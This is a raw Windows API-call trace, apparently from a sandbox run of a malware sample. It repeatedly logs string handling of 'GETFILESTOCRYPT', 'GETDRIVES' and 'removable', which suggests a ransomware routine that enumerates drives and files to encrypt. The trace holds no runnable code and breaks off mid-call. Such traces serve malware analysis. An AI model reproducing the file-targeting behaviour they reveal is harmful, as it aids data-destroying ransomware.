[0089.033] PeekMessageW (in: lpMsg=0x130f204, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f204) returned 0 [0089.033] PeekMessageW (in: lpMsg=0x130f204, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f204) returned 0 [0089.033] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="", cchCount1=0, lpString2="", cchCount2=0) returned 2 [0089.034] PeekMessageW (in: lpMsg=0x130f204, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f204) returned 0 [0089.034] PeekMessageW (in: lpMsg=0x130f204, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f204) returned 0 [0089.034] PeekMessageW (in: lpMsg=0x130f86c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f86c) returned 0 [0089.034] PeekMessageW (in: lpMsg=0x130f86c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f86c) returned 0 [0089.034] CharUpperBuffW (in: lpsz="GETFILESTOCRYPT", cchLength=0xf | out: lpsz="GETFILESTOCRYPT") returned 0xf [0089.034] PeekMessageW (in: lpMsg=0x130f614, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f614) returned 0 [0089.034] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="", cchCount1=0, lpString2="", cchCount2=0) returned 2 [0089.034] PeekMessageW (in: lpMsg=0x130f614, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f614) returned 0 [0089.034] PeekMessageW (in: lpMsg=0x130f614, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f614) returned 0 [0089.034] PeekMessageW (in: lpMsg=0x130f86c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f86c) returned 0 [0089.034] PeekMessageW (in: lpMsg=0x130f86c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f86c) returned 0 [0089.034] PeekMessageW (in: lpMsg=0x130f86c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f86c) returned 0 [0089.034] CharUpperBuffW (in: lpsz="GETDRIVES", cchLength=0x9 | out: lpsz="GETDRIVES") returned 0x9 [0089.034] PeekMessageW (in: lpMsg=0x130f204, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f204) returned 0 [0089.034] CharLowerBuffW (in: lpsz="REMOVABLE", cchLength=0x9 | out: lpsz="removable") returned 0x9 [0089.035] PeekMessageW (in: lpMsg=0x130f204, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f204) returned 0 [0089.035] PeekMessageW (in: lpMsg=0x130f204, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f204) returned 0 [0089.035] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="", cchCount1=0, lpString2="", cchCount2=0) returned 2 [0089.035] PeekMessageW (in: lpMsg=0x130f204, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f204) returned 0 [0089.035] PeekMessageW (in: lpMsg=0x130f204, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f204) returned 0 [0089.035] PeekMessageW (in: lpMsg=0x130f86c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f86c) returned 0 [0089.035] PeekMessageW (in: lpMsg=0x130f86c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f86c) returned 0 [0089.035] CharUpperBuffW (in: lpsz="GETFILESTOCRYPT", cchLength=0xf | out: lpsz="GETFILESTOCRYPT") returned 0xf [0089.035] PeekMessageW (in: lpMsg=0x130f614, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f614) returned 0 [0089.035] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="", cchCount1=0, lpString2="", cchCount2=0) returned 2 [0089.035] PeekMessageW (in: lpMsg=0x130f614, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f614) returned 0 [0089.035] PeekMessageW (in: lpMsg=0x130f614, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f614) returned 0 [0089.035] PeekMessageW (in: lpMsg=0x130f86c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f86c) returned 0 [0089.035] PeekMessageW (in: lpMsg=0x130f86c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f86c) returned 0 [0089.035] PeekMessageW (in: lpMsg=0x130f86c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f86c) returned 0 [0089.035] CharUpperBuffW (in: lpsz="GETDRIVES", cchLength=0x9 | out: lpsz="GETDRIVES") returned 0x9 [0089.035] PeekMessageW (in: lpMsg=0x130f204, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f204) returned 0 [0089.035] CharLowerBuffW (in: lpsz="REMOVABLE", cchLength=0x9 | out: lpsz="removable") returned 0x9 [0089.036] PeekMessageW (in: lpMsg=0x130f204, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f204) returned 0 [0089.036] PeekMessageW (in: lpMsg=0x130f204, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f204) returned 0 [0089.036] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="", cchCount1=0, lpString2="", cchCount2=0) returned 2 [0089.036] PeekMessageW (in: lpMsg=0x130f204, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f204) returned 0 [0089.036] PeekMessageW (in: lpMsg=0x130f204, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f204) returned 0 [0089.036] PeekMessageW (in: lpMsg=0x130f86c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f86c) returned 0 [0089.036] PeekMessageW (in: lpMsg=0x130f86c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f86c) returned 0 [0089.036] CharUpperBuffW (in: lpsz="GETFILESTOCRYPT", cchLength=0xf | out: lpsz="GETFILESTOCRYPT") returned 0xf [0089.036] PeekMessageW (in: lpMsg=0x130f614, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f614) returned 0 [0089.036] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="", cchCount1=0, lpString2="", cchCount2=0) returned 2 [0089.036] PeekMessageW (in: lpMsg=0x130f614, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f614) returned 0 [0089.036] PeekMessageW (in: lpMsg=0x130f614, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f614) returned 0 [0089.036] PeekMessageW (in: lpMsg=0x130f86c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f86c) returned 0 [0089.036] PeekMessageW (in: lpMsg=0x130f86c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f86c) returned 0 [0089.036] PeekMessageW (in: lpMsg=0x130f86c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f86c) returned 0 [0089.036] CharUpperBuffW (in: lpsz="GETDRIVES", cchLength=0x9 | out: lpsz="GETDRIVES") returned 0x9 [0089.037] PeekMessageW (in: lpMsg=0x130f204, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f204) returned 0 [0089.037] CharLowerBuffW (in: lpsz="REMOVABLE", cchLength=0x9 | out: lpsz="removable") returned 0x9 [0089.037] PeekMessageW (in: lpMsg=0x130f204, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f204) returned 0 [0089.037] PeekMessageW (in: lpMsg=0x130f204, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f204) returned 0 [0089.037] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="", cchCount1=0, lpString2="", cchCount2=0) returned 2 [0089.037] PeekMessageW (in: lpMsg=0x130f204, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f204) returned 0 [0089.037] PeekMessageW (in: lpMsg=0x130f204, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f204) returned 0 [0089.037] PeekMessageW (in: lpMsg=0x130f86c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f86c) returned 0 [0089.037] CharUpperBuffW (in: lpsz="GETFILESTOCRYPT", cchLength=0xf | out: lpsz="GETFILESTOCRYPT") returned 0xf [0089.037] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="", cchCount1=0, lpString2="", cchCount2=0) returned 2 [0089.037] CharUpperBuffW (in: lpsz="GETDRIVES", cchLength=0x9 | out: lpsz="GETDRIVES") returned 0x9 [0089.037] CharLowerBuffW (in: lpsz="REMOVABLE", cchLength=0x9 | out: lpsz="removable") returned 0x9 [0089.038] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="", cchCount1=0, lpString2="", cchCount2=0) returned 2 [0089.038] CharUpperBuffW (in: lpsz="GETFILESTOCRYPT", cchLength=0xf | out: lpsz="GETFILESTOCRYPT") returned 0xf [0089.038] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="", cchCount1=0, lpString2="", cchCount2=0) returned 2 [0089.038] CharUpperBuffW (in: lpsz="GETDRIVES", cchLength=0x9 | out: lpsz="GETDRIVES") returned 0x9 [0089.038] CharLowerBuffW (in: lpsz="REMOVABLE", cchLength=0x9 | out: lpsz="removable") returned 0x9 [0089.038] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="", cchCount1=0, lpString2="", cchCount2=0) returned 2 [0089.038] CharUpperBuffW (in: lpsz="GETFILESTOCRYPT", cchLength=0xf | out: lpsz="GETFILESTOCRYPT") returned 0xf [0089.038] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="", cchCount1=0, lpString2="", cchCount2=0) returned 2 [0089.038] CharUpperBuffW (in: lpsz="GETDRIVES", cchLength=0x9 | out: lpsz="GETDRIVES") returned 0x9 [0089.038] CharLowerBuffW (in: lpsz="REMOVABLE", cchLength=0x9 | out: lpsz="removable") returned 0x9 [0089.038] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="", cchCount1=0, lpString2="", cchCount2=0) returned 2 [0089.038] CharUpperBuffW (in: lpsz="GETFILESTOCRYPT", cchLength=0xf | out: lpsz="GETFILESTOCRYPT") returned 0xf [0089.039] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="", cchCount1=0, lpString2="", cchCount2=0) returned 2 [0089.039] CharUpperBuffW (in: lpsz="GETDRIVES", cchLength=0x9 | out: lpsz="GETDRIVES") returned 0x9 [0089.039] CharLowerBuffW (in: lpsz="REMOVABLE", cchLength=0x9 | out: lpsz="removable") returned 0x9 [0089.039] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="", cchCount1=0, lpString2="", cchCount2=0) returned 2 [0089.040] CharUpperBuffW (in: lpsz="GETFILESTOCRYPT", cchLength=0xf | out: lpsz="GETFILESTOCRYPT") returned 0xf [0089.040] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="", cchCount1=0, lpString2="", cchCount2=0) returned 2 [0089.040] CharUpperBuffW (in: lpsz="GETDRIVES", cchLength=0x9 | out: lpsz="GETDRIVES") returned 0x9 [0089.040] CharLowerBuffW (in: lpsz="REMOVABLE", cchLength=0x9 | out: lpsz="removable") returned 0x9 [0089.041] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="", cchCount1=0, lpString2="", cchCount2=0) returned 2 [0089.041] CharUpperBuffW (in: lpsz="GETFILESTOCRYPT", cchLength=0xf | out: lpsz="GETFILESTOCRYPT") returned 0xf [0089.041] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="", cchCount1=0, lpString2="", cchCount2=0) returned 2 [0089.041] CharUpperBuffW (in: lpsz="GETDRIVES", cchLength=0x9 | out: lpsz="GETDRIVES") returned 0x9 [0089.041] CharLowerBuffW (in: lpsz="REMOVABLE", cchLength=0x9 | out: lpsz="removable") returned 0x9 [0089.041] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="", cchCount1=0, lpString2="", cchCount2=0) returned 2 [0089.041] CharUpperBuffW (in: lpsz="GETFILESTOCRYPT", cchLength=0xf | out: lpsz="GETFILESTOCRYPT") returned 0xf [0089.041] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="", cchCount1=0, lpString2="", cchCount2=0) returned 2 [0089.041] CharUpperBuffW (in: lpsz="GETDRIVES", cchLength=0x9 | out: lpsz="GETDRIVES") returned 0x9 [0089.041] CharLowerBuffW (in: lpsz="REMOVABLE", cchLength=0x9 | out: lpsz="removable") returned 0x9 [0089.042] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="", cchCount1=0, lpString2="", cchCount2=0) returned 2 [0089.042] CharUpperBuffW (in: lpsz="GETFILESTOCRYPT", cchLength=0xf | out: lpsz="GETFILESTOCRYPT") returned 0xf [0089.042] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="", cchCount1=0, lpString2="", cchCount2=0) returned 2 [0089.042] CharUpperBuffW (in: lpsz="GETDRIVES", cchLength=0x9 | out: lpsz="GETDRIVES") returned 0x9 [0089.042] CharLowerBuffW (in: lpsz="REMOVABLE", cchLength=0x9 | out: lpsz="removable") returned 0x9 [0089.042] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="", cchCount1=0, lpString2="", cchCount2=0) returned 2 [0089.042] CharUpperBuffW (in: lpsz="GETFILESTOCRYPT", cchLength=0xf | out: lpsz="GETFILESTOCRYPT") returned 0xf [0089.042] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="", cchCount1=0, lpString2="", cchCount2=0) returned 2 [0089.042] CharUpperBuffW (in: lpsz="GETDRIVES", cchLength=0x9 | out: lpsz="GETDRIVES") returned 0x9 [0089.042] CharLowerBuffW (in: lpsz="REMOVABLE", cchLength=0x9 | out: lpsz="removable") returned 0x9 [0089.042] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="", cchCount1=0, lpString2="", cchCount2=0) returned 2 [0089.042] CharUpperBuffW (in: lpsz="GETFILESTOCRYPT", cchLength=0xf | out: lpsz="GETFILESTOCRYPT") returned 0xf [0089.043] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="", cchCount1=0, lpString2="", cchCount2=0) returned 2 [0089.043] CharUpperBuffW (in: lpsz="GETDRIVES", cchLength=0x9 | out: lpsz="GETDRIVES") returned 0x9 [0089.043] CharLowerBuffW (in: lpsz="REMOVABLE", cchLength=0x9 | out: lpsz="removable") returned 0x9 [0089.043] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="", cchCount1=0, lpString2="", cchCount2=0) returned 2 [0089.043] CharUpperBuffW (in: lpsz="GETFILESTOCRYPT", cchLength=0xf | out: lpsz="GETFILESTOCRYPT") returned 0xf [0089.043] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="", cchCount1=0, lpString2="", cchCount2=0) returned 2 [0089.043] CharUpperBuffW (in: lpsz="GETDRIVES", cchLength=0x9 | out: lpsz="GETDRIVES") returned 0x9 [0089.043] CharLowerBuffW (in: lpsz="REMOVABLE", cchLength=0x9 | out: lpsz="removable") returned 0x9 [0089.043] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="", cchCount1=0, lpString2="", cchCount2=0) returned 2 [0089.043] CharUpperBuffW (in: lpsz="GETFILESTOCRYPT", cchLength=0xf | out: lpsz="GETFILESTOCRYPT") returned 0xf [0089.043] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="", cchCount1=0, lpString2="", cchCount2=0) returned 2 [0089.053] CharUpperBuffW (in: lpsz="GETDRIVES", cchLength=0x9 | out: lpsz="GETDRIVES") returned 0x9 [0089.053] CharLowerBuffW (in: lpsz="REMOVABLE", cchLength=0x9 | out: lpsz="removable") returned 0x9 [0089.053] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="", cchCount1=0, lpString2="", cchCount2=0) returned 2 [0089.053] CharUpperBuffW (in: lpsz="GETFILESTOCRYPT", cchLength=0xf | out: lpsz="GETFILESTOCRYPT") returned 0xf [0089.053] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="", cchCount1=0, lpString2="", cchCount2=0) returned 2 [0089.054] CharUpperBuffW (in: lpsz="GETDRIVES", cchLength=0x9 | out: lpsz="GETDRIVES") returned 0x9 [0089.054] CharLowerBuffW (in: lpsz="REMOVABLE", cchLength=0x9 | out: lpsz="removable") returned 0x9 [0089.054] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="", cchCount1=0, lpString2="", cchCount2=0) returned 2 [0089.054] CharUpperBuffW (in: lpsz="GETFILESTOCRYPT", cchLength=0xf | out: lpsz="GETFILESTOCRYPT") returned 0xf [0089.054] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="", cchCount1=0, lpString2="", cchCount2=0) returned 2 [0089.054] CharUpperBuffW (in: lpsz="GETDRIVES", cchLength=0x9 | out: lpsz="GETDRIVES") returned 0x9 [0089.054] CharLowerBuffW (in: lpsz="REMOVABLE", cchLength=0x9 | out: lpsz="removable") returned 0x9 [0089.054] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="", cchCount1=0, lpString2="", cchCount2=0) returned 2 [0089.054] CharUpperBuffW (in: lpsz="GETFILESTOCRYPT", cchLength=0xf | out: lpsz="GETFILESTOCRYPT") returned 0xf [0089.054] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="", cchCount1=0, lpString2="", cchCount2=0) returned 2 [0089.054] CharUpperBuffW (in: lpsz="GETDRIVES", cchLength=0x9 | out: lpsz="GETDRIVES") returned 0x9 [0089.054] CharLowerBuffW (in: lpsz="REMOVABLE", cchLength=0x9 | out: lpsz="removable") returned 0x9 [0089.055] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="", cchCount1=0, lpString2="", cchCount2=0) returned 2 [0089.055] CharUpperBuffW (in: lpsz="GETFILESTOCRYPT", cchLength=0xf | out: lpsz="GETFILESTOCRYPT") returned 0xf [0089.055] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="", cchCount1=0, lpString2="", cchCount2=0) returned 2 [0089.055] CharUpperBuffW (in: lpsz="GETDRIVES", cchLength=0x9 | out: lpsz="GETDRIVES") returned 0x9 [0089.055] CharLowerBuffW (in: lpsz="REMOVABLE", cchLength=0x9 | out: lpsz="removable") returned 0x9 [0089.055] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="", cchCount1=0, lpString2="", cchCount2=0) returned 2 [0089.055] CharUpperBuffW (in: lpsz="GETFILESTOCRYPT", cchLength=0xf | out: lpsz="GETFILESTOCRYPT") returned 0xf [0089.055] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="", cchCount1=0, lpString2="", cchCount2=0) returned 2 [0089.056] CharUpperBuffW (in: lpsz="GETDRIVES", cchLength=0x9 | out: lpsz="GETDRIVES") returned 0x9 [0089.056] CharLowerBuffW (in: lpsz="REMOVABLE", cchLength=0x9 | out: lpsz="removable") returned 0x9 [0089.056] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="", cchCount1=0, lpString2="", cchCount2=0) returned 2 [0089.056] CharUpperBuffW (in: lpsz="GETFILESTOCRYPT", cchLength=0xf | out: lpsz="GETFILESTOCRYPT") returned 0xf [0089.056] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="", cchCount1=0, lpString2="", cchCount2=0) returned 2 [0089.056] CharUpperBuffW (in: lpsz="GETDRIVES", cchLength=0x9 | out: lpsz="GETDRIVES") returned 0x9 [0089.056] CharLowerBuffW (in: lpsz="REMOVABLE", cchLength=0x9 | out: lpsz="removable") returned 0x9 [0089.056] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="", cchCount1=0, lpString2="", cchCount2=0) returned 2 [0089.056] CharUpperBuffW (in: lpsz="GETFILESTOCRYPT", cchLength=0xf | out: lpsz="GETFILESTOCRYPT") returned 0xf [0089.056] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="", cchCount1=0, lpString2="", cchCount2=0) returned 2 [0089.056] CharUpperBuffW (in: lpsz="GETDRIVES", cchLength=0x9 | out: lpsz="GETDRIVES") returned 0x9 [0089.056] CharLowerBuffW (in: lpsz="REMOVABLE", cchLength=0x9 | out: lpsz="removable") returned 0x9 [0089.056] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="", cchCount1=0, lpString2="", cchCount2=0) returned 2 [0089.056] CharUpperBuffW (in: lpsz="GETFILESTOCRYPT", cchLength=0xf | out: lpsz="GETFILESTOCRYPT") returned 0xf [0089.056] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="", cchCount1=0, lpString2="", cchCount2=0) returned 2 [0089.071] CharUpperBuffW (in: lpsz="GETDRIVES", cchLength=0x9 | out: lpsz="GETDRIVES") returned 0x9 [0089.071] CharLowerBuffW (in: lpsz="REMOVABLE", cchLength=0x9 | out: lpsz="removable") returned 0x9 [0089.071] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="", cchCount1=0, lpString2="", cchCount2=0) returned 2 [0089.071] CharUpperBuffW (in: lpsz="GETFILESTOCRYPT", cchLength=0xf | out: lpsz="GETFILESTOCRYPT") returned 0xf [0089.071] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="", cchCount1=0, lpString2="", cchCount2=0) returned 2 [0089.072] CharUpperBuffW (in: lpsz="GETDRIVES", cchLength=0x9 | out: lpsz="GETDRIVES") returned 0x9 [0089.072] CharLowerBuffW (in: lpsz="REMOVABLE", cchLength=0x9 | out: lpsz="removable") returned 0x9 [0089.072] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="", cchCount1=0, lpString2="", cchCount2=0) returned 2 [0089.072] CharUpperBuffW (in: lpsz="GETFILESTOCRYPT", cchLength=0xf | out: lpsz="GETFILESTOCRYPT") returned 0xf [0089.072] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="", cchCount1=0, lpString2="", cchCount2=0) returned 2 [0089.072] CharUpperBuffW (in: lpsz="GETDRIVES", cchLength=0x9 | out: lpsz="GETDRIVES") returned 0x9 [0089.072] CharLowerBuffW (in: lpsz="REMOVABLE", cchLength=0x9 | out: lpsz="removable") returned 0x9 [0089.072] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="", cchCount1=0, lpString2="", cchCount2=0) returned 2 [0089.072] CharUpperBuffW (in: lpsz="GETFILESTOCRYPT", cchLength=0xf | out: lpsz="GETFILESTOCRYPT") returned 0xf [0089.072] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="", cchCount1=0, lpString2="", cchCount2=0) returned 2 [0089.072] CharUpperBuffW (in: lpsz="GETDRIVES", cchLength=0x9 | out: lpsz="GETDRIVES") returned 0x9 [0089.072] CharLowerBuffW (in: lpsz="REMOVABLE", cchLength=0x9 | out: lpsz="removable") returned 0x9 [0089.073] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="", cchCount1=0, lpString2="", cchCount2=0) returned 2 [0089.073] CharUpperBuffW (in: lpsz="GETFILESTOCRYPT", cchLength=0xf | out: lpsz="GETFILESTOCRYPT") returned 0xf [0089.073] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="", cchCount1=0, lpString2="", cchCount2=0) returned 2 [0089.073] CharUpperBuffW (in: lpsz="GETDRIVES", cchLength=0x9 | out: lpsz="GETDRIVES") returned 0x9 [0089.073] CharLowerBuffW (in: lpsz="REMOVABLE", cchLength=0x9 | out: lpsz="removable") returned 0x9 [0089.073] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="", cchCount1=0, lpString2="", cchCount2=0) returned 2 [0089.073] CharUpperBuffW (in: lpsz="GETFILESTOCRYPT", cchLength=0xf | out: lpsz="GETFILESTOCRYPT") returned 0xf [0089.073] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="", cchCount1=0, lpString2="", cchCount2=0) returned 2 [0089.073] CharUpperBuffW (in: lpsz="GETDRIVES", cchLength=0x9 | out: lpsz="GETDRIVES") returned 0x9 [0089.073] CharLowerBuffW (in: lpsz="REMOVABLE", cchLength=0x9 | out: lpsz="removable") returned 0x9 [0089.074] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="", cchCount1=0, lpString2="", cchCount2=0) returned 2 [0089.074] CharUpperBuffW (in: lpsz="GETFILESTOCRYPT", cchLength=0xf | out: lpsz="GETFILESTOCRYPT") returned 0xf [0089.074] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="", cchCount1=0, lpString2="", cchCount2=0) returned 2 [0089.074] CharUpperBuffW (in: lpsz="GETDRIVES", cchLength=0x9 | out: lpsz="GETDRIVES") returned 0x9 [0089.074] CharLowerBuffW (in: lpsz="REMOVABLE", cchLength=0x9 | out: lpsz="removable") returned 0x9 [0089.074] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="", cchCount1=0, lpString2="", cchCount2=0) returned 2 [0089.074] CharUpperBuffW (in: lpsz="GETFILESTOCRYPT", cchLength=0xf | out: lpsz="GETFILESTOCRYPT") returned 0xf [0089.074] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="", cchCount1=0, lpString2="", cchCount2=0) returned 2 [0089.074] CharUpperBuffW (in: lpsz="GETDRIVES", cchLength=0x9 | out: lpsz="GETDRIVES") returned 0x9 [0089.074] CharLowerBuffW (in: lpsz="REMOVABLE", cchLength=0x9 | out: lpsz="removable") returned 0x9 [0089.074] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="", cchCount1=0, lpString2="", cchCount2=0) returned 2 [0089.087] CharUpperBuffW (in: lpsz="GETFILESTOCRYPT", cchLength=0xf | out: lpsz="GETFILESTOCRYPT") returned 0xf [0089.087] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="", cchCount1=0, lpString2="", cchCount2=0) returned 2 [0089.087] CharUpperBuffW (in: lpsz="GETDRIVES", cchLength=0x9 | out: lpsz="GETDRIVES") returned 0x9 [0089.087] CharLowerBuffW (in: lpsz="REMOVABLE", cchLength=0x9 | out: lpsz="removable") returned 0x9 [0089.087] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="", cchCount1=0, lpString2="", cchCount2=0) returned 2 [0089.087] CharUpperBuffW (in: lpsz="GETFILESTOCRYPT", cchLength=0xf | out: lpsz="GETFILESTOCRYPT") returned 0xf [0089.087] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="", cchCount1=0, lpString2="", cchCount2=0) returned 2 [0089.087] CharUpperBuffW (in: lpsz="GETDRIVES", cchLength=0x9 | out: lpsz="GETDRIVES") returned 0x9 [0089.087] CharLowerBuffW (in: lpsz="REMOVABLE", cchLength=0x9 | out: lpsz="removable") returned 0x9 [0089.088] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="", cchCount1=0, lpString2="", cchCount2=0) returned 2 [0089.088] CharUpperBuffW (in: lpsz="GETFILESTOCRYPT", cchLength=0xf | out: lpsz="GETFILESTOCRYPT") returned 0xf [0089.088] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="", cchCount1=0, lpString2="", cchCount2=0) returned 2 [0089.088] CharUpperBuffW (in: 